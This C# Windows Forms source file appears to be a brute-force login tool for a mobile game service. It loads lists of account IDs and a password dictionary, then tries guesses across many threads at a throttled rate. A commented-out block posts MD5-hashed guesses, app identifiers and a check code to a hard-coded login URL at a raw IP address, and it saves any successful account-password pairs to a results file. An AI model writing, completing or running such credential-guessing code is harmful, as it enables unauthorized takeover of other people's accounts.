﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Threading;
using System.Security.Cryptography;
using System.Net;
using Newtonsoft.Json;


namespace Main
{
    public partial class FormMain : Form
    {

        private INIFile iniFile;
        private List<Account> accounts = new List<Account>();
        
        private CancellationTokenSource stopToken;
        private CancellationTokenSource pauseToken;

        private bool working = false;
        private int processedNum = 0;
        private int speedNum = 1000;
        static object processNumberLock = new object();

        private string DIC_PATH = string.Empty;


        private int minCode = 0;
        private int maxCode = 0;
        private int codeLen = 0;


        public static string LOGIN_URL = "https://47.112.102.188:9443/login";


        public FormMain()
        {
            InitializeComponent();
            stopToken = new CancellationTokenSource();
            pauseToken = new CancellationTokenSource();
        }

        /// <summary>
        /// 16位MD5加密
        /// </summary>
        /// <param name="password"></param>
        /// <returns></returns>
        public static string MD5Encrypt16(string password)
        {
            var md5 = new MD5CryptoServiceProvider();
            string t2 = BitConverter.ToString(md5.ComputeHash(Encoding.Default.GetBytes(password)), 4, 8);
            t2 = t2.Replace("-", "");
            return t2;
        }

        private void InitListView(string filename)
        {
            if(this.listView.Items.Count > 0)
            {
                this.listView.Items.Clear();
            }

            if(this.accounts.Count > 0)
            {
                this.accounts.Clear();
            }

            this.listView.MultiSelect = false;

            //添加数据
            StreamReader sr = new StreamReader(filename,false);
            string nextLine;
            while ((nextLine = sr.ReadLine()) != null)
            {
                if(nextLine.Trim() == string.Empty)
                {
                    continue;
                }
                ListViewItem lvItem = new ListViewItem(nextLine);

                Account account = new Account(nextLine,lvItem);
                account.LoginId = nextLine;
                account.Password = "--";
                account.Money = "--";
                account.Status = 0;
                this.accounts.Add(account);
                this.listView.Items.Add(lvItem);
            }
            sr.Close();
            this.Log("成功导入"+accounts.Count+"个账号");
        }

        


        private void menuItemSettings_Click(object sender, EventArgs e)
        {
            FormSettings frmSettings = new FormSettings();
            frmSettings.ShowDialog();
        }

        private void menuItemImport_Click(object sender, EventArgs e)
        {
            
            
        }

        private void menuItemClearLog_Click(object sender, EventArgs e)
        {
            this.txtLog.Clear();
            this.txtLogNet.Clear();
        }

        private void menuItemClearListView_Click(object sender, EventArgs e)
        {

            if (working)
            {
                MessageBox.Show("工作中，无法操作");
                return;
            }

            if (MessageBox.Show("确认清空吗？", "警告", MessageBoxButtons.OKCancel) ==DialogResult.OK)
            {
                this.listView.Items.Clear();
                this.accounts.Clear();
            }
            
        }


        private void Log(string str)
        {
            if(this.txtLog.Lines.Length > 5000)
            {
                this.txtLog.Clear();
            }
            DateTime dt = System.DateTime.Now;
            StringBuilder sb = new StringBuilder();
            sb.Append("[");
            sb.Append(dt.ToString("t"));
            sb.Append("]");
            sb.Append(" ");
            sb.Append(str);
            sb.Append("\r\n");
            this.txtLog.AppendText(sb.ToString());
        }

        private void LogNet(string str)
        {
            if (this.txtLogNet.Lines.Length > 5000)
            {
                this.txtLogNet.Clear();
            }
            DateTime dt = System.DateTime.Now;
            StringBuilder sb = new StringBuilder();
            sb.Append("[");
            sb.Append(dt.ToString("t"));
            sb.Append("]");
            sb.Append(" ");
            sb.Append(str);
            sb.Append("\r\n");
            this.txtLogNet.AppendText(sb.ToString());
        }

        private void menuItemStart_Click(object sender, EventArgs e)
        {
            if(working)
            {
                MessageBox.Show("工作中，重复操作");
                return;
            }

            if(this.listView.Items.Count == 0)
            {
                MessageBox.Show("列表是空的");
                return;
            }

            

            /*if(DIC_PATH == string.Empty)
            {
                MessageBox.Show("字典文件未设置");
                return;
            }*/

            if(txtMinCode.Text.Length != txtMaxCode.Text.Length)
            {
                MessageBox.Show("范围长度不同");
                return;
            }

            if(txtMinCode.Text.Length > 6 || txtMaxCode.Text.Length > 6)
            {
                MessageBox.Show("范围数据不能超过6位");
                return;
            }

            int threadNum = 8;
            try
            {
                threadNum = Int32.Parse(threadNumComboBox.Text.Trim());
                speedNum = Int32.Parse(speedComboBox.Text.Trim());
                minCode = Int32.Parse(txtMinCode.Text);
                maxCode = Int32.Parse(txtMaxCode.Text);
                codeLen = txtMinCode.Text.Length;
            }
            catch (Exception)
            {

                MessageBox.Show("输入的数据不合法");
                return;
            }
            


            this.statusLab.Text = "工作中";
            this.Log("字典文件:" + DIC_PATH);

            

            //配置线程池
            int workthread = threadNum;
            int iothread = threadNum;
            ThreadPool.SetMaxThreads(workthread, iothread);
            ThreadPool.SetMinThreads(workthread, iothread);

            //取消操作标记
            stopToken = new CancellationTokenSource();
            //暂停标记
            pauseToken = new CancellationTokenSource();

            working = true;

            threadNumComboBox.Enabled = false;
            speedComboBox.Enabled = false;
            txtMinCode.Enabled = false;
            txtMaxCode.Enabled = false;
            txtPassword.Enabled = false;

            //向线程池中添加任务
            int added = 0;
            for (int i = 0; i < this.accounts.Count; i++)
            {
                if(accounts[i].Status == 2 || accounts[i].Status == 3)
                {
                    this.Log("忽略:"+ accounts[i].LoginId);
                    continue;
                }
                ThreadPool.QueueUserWorkItem(new WaitCallback(TaskProc),accounts[i]);
                added++;
            }
           

            if(added == 0)
            {
                working = false;
                MessageBox.Show("处理完毕");
                statusLab.Text = "就绪";
            }
        }


        private void TaskProc(object o)
        {

            int currentCode = minCode;
            
            Account account = (Account)o;
            int id = Thread.CurrentThread.ManagedThreadId;
            if (stopToken.IsCancellationRequested)
            {
                this.Invoke(new Action(() =>
                {
                    StopTask(account);
                }));
                
                return;
            }

            while(pauseToken.IsCancellationRequested)
            {
                if (stopToken.IsCancellationRequested)
                {
                    this.Invoke(new Action(() =>
                    {
                        StopTask(account);
                    }));

                    return;
                }
                Thread.Sleep(200);
            }

            Thread.Sleep(200);


            
            this.Invoke(new Action(() => 
            {
                account.Status = 1;
                Log("线程:"+id+" 处理:"+account.LoginId);
                
            }));



            do
            {
                string validCode = currentCode.ToString().PadLeft(codeLen, '0');

                if (stopToken.IsCancellationRequested)
                {
                    this.Invoke(new Action(() =>
                    {
                        StopTask(account);
                    }));

                    return;
                }

                while (pauseToken.IsCancellationRequested)
                {
                    if (stopToken.IsCancellationRequested)
                    {
                        this.Invoke(new Action(() =>
                        {
                            StopTask(account);
                        }));

                        return;
                    }
                    Thread.Sleep(200);
                }


                //控制频率
                Thread.Sleep(speedNum);
                this.Invoke(new Action(() =>
                {
                    account.Password = validCode;
                }));

                currentCode++;
            } while (currentCode <= maxCode);


            //开始尝试密码
            /*StreamReader sr = new StreamReader(DIC_PATH);
            string nextLine;
            while ((nextLine = sr.ReadLine()) != null)
            {

                if (stopToken.IsCancellationRequested)
                {
                    this.Invoke(new Action(() =>
                    {
                        StopTask(account);
                    }));

                    return;
                }

                while (pauseToken.IsCancellationRequested)
                {
                    if (stopToken.IsCancellationRequested)
                    {
                        this.Invoke(new Action(() =>
                        {
                            StopTask(account);
                        }));

                        return;
                    }
                    Thread.Sleep(200);
                }


                //控制频率
                Thread.Sleep(speedNum);
                this.Invoke(new Action(() =>
                {
                    account.Password = nextLine;
                }));

                

                //HTTP请求接口
                IDictionary<string, string> parameters = new Dictionary<string, string>();
                parameters.Add("uuid", "b16996875521062ec3ef18a11f3018c0_11");//b16996875521062ec3ef18a11f3018c0_11
                parameters.Add("uiid", "211");
                parameters.Add("packageId", "2110003");
                parameters.Add("checkCode", "O38rqvRCzLn5j");//O38rqvRCzLn5j
                parameters.Add("playerType", "0");
                parameters.Add("clientType", "2");
                parameters.Add("version", "2.0.5");
                parameters.Add("network", "1");
                parameters.Add("loginType", "1");
                parameters.Add("account", account.LoginId+"_11");
                parameters.Add("loginPass", CryptUtil.CreateMD5Hash(nextLine).ToLower());
                parameters.Add("pid", "11");
                //System.Web.HttpUtility.UrlEncode
                parameters.Add("deviceVersion", "Android OS 5.1.1 / API-22 (ID/8.4.19)");



                HttpWebResponse response = HttpRequest.CreatePostHttpResponse(LOGIN_URL, parameters, Encoding.Default);

                if (response.StatusCode != HttpStatusCode.OK)
                {
                    //请求失败
                    this.Invoke(new Action(() =>
                    {
                        LogNet("线程:" + id + " 处理:" + nextLine+" HTTP CODE："+ response.StatusCode);
                    }));
                    continue;
                }


                string serverResult = string.Empty;
                using (Stream responseStream = response.GetResponseStream())
                {
                    using (StreamReader sread = new StreamReader(responseStream))
                    {
                        serverResult = sread.ReadToEnd();
                    }
                }
                serverResult = serverResult.Trim();

                this.Invoke(new Action(() =>
                {
                    LogNet("服务器:" + serverResult+" "+account.LoginId + " "+nextLine);
                }));
                

                if (serverResult == string.Empty)
                {
                    //响应内容空
                    //请求失败
                    this.Invoke(new Action(() =>
                    {
                        LogNet("线程:" + id + " 处理:" + nextLine + " 响应内容空");
                    }));
                    continue;
                }

                
                HuanLe.MaShaServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.MaShaServerResult>(serverResult);


                //如果检测到真正的密码，终止while
                if(resultObj.isSuccess())
                {
                    WriteSuccess(account.LoginId, nextLine);
                    this.Invoke(new Action(() =>
                    {
                        LogNet("成功获取验证码 账号:" + account.LoginId + " 验证码:" + nextLine);
                        //复制item到结果列表里
                        ListViewItem item = (ListViewItem)account.ListItem.Clone();
                        this.listView1.Items.Add(item);
                        account.Status = 2;
                    }));
                    break;
                }
                
            }*/



            lock (processNumberLock)
            {
                
                processedNum++;
                this.Invoke(new Action(() =>
                {
                    if(account.Status != 2)
                    {
                        account.Status = 3;
                    }
                    this.statusLabNumber.Text = processedNum + "/" + accounts.Count;

                    if(processedNum == accounts.Count)
                    {
                        MessageBox.Show("处理完毕");
                        statusLab.Text = "就绪";
                        working = false;
                    }
                }));
            }

        }


        private void StopTask(Account account)
        {
            int id = Thread.CurrentThread.ManagedThreadId;
            account.Status = 0;
            Log("线程:" + id + " 处理:" + account.LoginId + " -- 操作被取消");
            menuItemPause.Text = "暂停扫描";
            working = false;
            pauseToken.Cancel();
            stopToken.Cancel();
            threadNumComboBox.Enabled = true;
            speedComboBox.Enabled = true;
            txtMaxCode.Enabled = true;
            txtMinCode.Enabled = true;
            txtPassword.Enabled = true;

        }

        private void menuItemStop_Click(object sender, EventArgs e)
        {
            if(!working)
            {
                return;
            }
            if(MessageBox.Show("确认终止吗？","警告",MessageBoxButtons.OKCancel) == DialogResult.OK)
            {
                stopToken.Cancel();
                this.statusLab.Text = "就绪";
                working = false;
            }
            
        }

        private void menuItemPause_Click(object sender, EventArgs e)
        {
            if (!working)
            {
                return;
            }
            ToolStripMenuItem item = (ToolStripMenuItem)sender;
            if (pauseToken.IsCancellationRequested)
            {
                pauseToken = new CancellationTokenSource();

                item.Text = "暂停扫描";
                this.statusLab.Text = "工作中";
                this.Log("继续扫描");
                return;
            }
            pauseToken.Cancel();
            item.Text = "继续扫描";
            this.Log("暂停扫描");

            this.statusLab.Text = "暂停";
        }

     

        private void txtAccount_KeyDown(object sender, KeyEventArgs e)
        {
            if(e.KeyCode == Keys.Enter)
            {
                string account = this.txtAccount.Text;
                this.listView.Select();
                ListViewItem item = this.listView.FindItemWithText(account);
                if(item != null)
                {
                    item.Selected = true;
                    item.Checked = true;

                    this.listView.EnsureVisible(item.Index);
                }
                
            }
        }

        private void menuItemCopyAccount_Click(object sender, EventArgs e)
        {
            if(this.listView.SelectedItems.Count > 0)
            {
                Clipboard.SetText(this.listView.SelectedItems[0].Text);
            }
        }

        private void menuItemCopyPassword_Click(object sender, EventArgs e)
        {
            if (this.listView.SelectedItems.Count > 0)
            {
                Clipboard.SetText(this.listView.SelectedItems[0].SubItems["密码"].Text);
            }
        }

        private void menuItemExit_Click(object sender, EventArgs e)
        {
            if(working)
            {
                MessageBox.Show("正在工作，无法退出");
                return;
            }
            if(MessageBox.Show("确认退出吗？","提示",MessageBoxButtons.YesNo) == DialogResult.Yes)
            {
                Application.Exit();
            }
            
        }

        private void FormMain_Activated(object sender, EventArgs e)
        {
            //statusLabThreadNum.Text = FormSettings.THREAD_NUM.ToString();
        }

        private void FormMain_Load(object sender, EventArgs e)
        {

            this.iniFile = new INIFile(Application.StartupPath + @"\Main.ini");
            ImageList imgList = new ImageList();
            imgList.ImageSize = new Size(1, 25);//设置 ImageList 的宽和高
            listView.SmallImageList = imgList;
            listView1.SmallImageList = imgList;
            
            threadNumComboBox.SelectedIndex = 0;
            speedComboBox.SelectedIndex = 0;
            this.tabControl1.Alignment = System.Windows.Forms.TabAlignment.Right;
            this.tabLog.Alignment = System.Windows.Forms.TabAlignment.Right;

            string[] accountList = this.iniFile.GetAllItemKeys("accounts");
            Array.Reverse(accountList);
            for (int i = 0; i < accountList.Length; i++)
            {
                string path = this.iniFile.GetStringValue("accounts", accountList[i], "");
                if(path == "")
                {
                    continue;
                }
                ToolStripMenuItem item = new ToolStripMenuItem(path);
                item.Tag = path+"!"+ accountList[i];
                if (!File.Exists(path))
                {
                    item.ForeColor = Color.Gray;
                }
                item.Click += SelectAccountFileClick;
                menuItemImport.DropDownItems.Add(item);
            }

            string[] dictList = this.iniFile.GetAllItemKeys("dicts");
            Array.Reverse(dictList);
            for (int i = 0; i < dictList.Length; i++)
            {
                string path = this.iniFile.GetStringValue("dicts", dictList[i], "");
                ToolStripMenuItem item = new ToolStripMenuItem(path);
                item.Tag = path + "!" + dictList[i];
                if (!File.Exists(path))
                {
                    item.ForeColor = Color.Gray;
                }
                item.Click += SelectDictFileClick;
                menuItemImportDict.DropDownItems.Add(item);
            }

        }


        private void ClearSelectFileState(ToolStripMenuItem item)
        {
            for (int i = 3; i < item.DropDownItems.Count; i++)
            {
                if (item.DropDownItems[i].Text.StartsWith("->"))
                {
                    string tag = item.DropDownItems[i].Tag.ToString();
                    string[] temp = tag.Split('!');
                    item.DropDownItems[i].Text = temp[0];
                }
            }
        }

        private void ClearSelectFileHistory(ToolStripMenuItem item)
        {
            for (int i = 3; i < item.DropDownItems.Count; i++)
            {
                item.DropDownItems[i].Visible = false;
            }
        }

        private void SelectDictFileClick(object sender, EventArgs e)
        {
            
            ToolStripMenuItem item = (ToolStripMenuItem)sender;

            string tag = item.Tag.ToString().Split('!')[0];
            string path = tag;


            if (!File.Exists(path))
            {
                MessageBox.Show("文件不存在");
                return;
            }
            this.ClearSelectFileState(menuItemImportDict);
            item.Text = "-> " + item.Text;
            this.DIC_PATH = path;
            this.Log("加载字典文件:"+this.DIC_PATH);
        }

        private void SelectAccountFileClick(object sender, EventArgs e)
        {
            ToolStripMenuItem item = (ToolStripMenuItem)sender;
            string tag = item.Tag.ToString().Split('!')[0];
            string path = tag;
            if (!File.Exists(path))
            {
                MessageBox.Show("文件不存在");
                return;
            }
            this.ClearSelectFileState(menuItemImport);
            item.Text = "-> " + item.Text;
            InitListView(path);
            this.statusLabNumber.Text = processedNum + "/" + accounts.Count;
        }

        private void menuItemExport_Click(object sender, EventArgs e)
        {
            if (working)
            {
                MessageBox.Show("正在工作！");
                return;
            }
        }

        private void menuItemImportAccount_Click(object sender, EventArgs e)
        {
            if (working)
            {
                MessageBox.Show("正在工作！");
                return;
            }
            processedNum = 0;
            string filename = string.Empty;
            OpenFileDialog dlg = new OpenFileDialog();
            dlg.Filter = "All files (*.*)|*.*|txt files (*.txt)|*.txt";
            dlg.FilterIndex = 2;
            dlg.RestoreDirectory = true;
            if (dlg.ShowDialog() == DialogResult.OK)
            {
                filename = dlg.FileName;
            }
            dlg.Dispose();
            if (filename != string.Empty)
            {
                //写入ini
                string key = MD5Encrypt16(filename);
                iniFile.WriteValue("accounts", key, filename);

                //添加记录

                InitListView(filename);
                this.statusLabNumber.Text = processedNum + "/" + accounts.Count;
            }
        }

        private void menuItemClearDict_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem item = this.menuItemImportDict; 
            for (int i = 3; i < item.DropDownItems.Count; i++)
            {
                string k = item.DropDownItems[i].Tag.ToString().Split('!')[1];
                iniFile.DeleteKey("dicts",k);
            }
            
            ClearSelectFileHistory(this.menuItemImportDict);

        }

        private void menuItemClearAccount_Click(object sender, EventArgs e)
        {
            ToolStripMenuItem item = this.menuItemImport;
            for (int i = 3; i < item.DropDownItems.Count; i++)
            {
                string k = item.DropDownItems[i].Tag.ToString().Split('!')[1];
                iniFile.DeleteKey("accounts", k);
            }
            ClearSelectFileHistory(this.menuItemImport);
        }

        private void 选择文件ToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            if (working)
            {
                MessageBox.Show("正在工作！");
                return;
            }
            processedNum = 0;
            string filename = string.Empty;
            OpenFileDialog dlg = new OpenFileDialog();
            dlg.Filter = "All files (*.*)|*.*|txt files (*.txt)|*.txt";
            dlg.FilterIndex = 2;
            dlg.RestoreDirectory = true;
            if (dlg.ShowDialog() == DialogResult.OK)
            {
                filename = dlg.FileName;
            }
            dlg.Dispose();
            if (filename != string.Empty)
            {
                DIC_PATH = filename;
                //写入ini
                string key = MD5Encrypt16(filename);
                iniFile.WriteValue("dicts", key, filename);

                //添加记录

                this.Log("加载字典文件:" + this.DIC_PATH);
            }
        }

        private void 清空ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            this.contextMenuStrip2.SourceControl.Text = "";
        }



        //扫描成功的结果保存成文件
        private void WriteSuccess(string loginId,string password)
        {
            FileStream fs = new FileStream(Application.StartupPath+@"\"+ DateTime.Now.ToFileTime().ToString() + "_扫描结果.txt", FileMode.Append);
            //获得字节数组
            byte[] data = System.Text.Encoding.Default.GetBytes(loginId+"--------"+ password);
            //开始写入
            fs.Write(data, 0, data.Length);
            //清空缓冲区、关闭流
            fs.Flush();
            fs.Close();
        }
    }
}
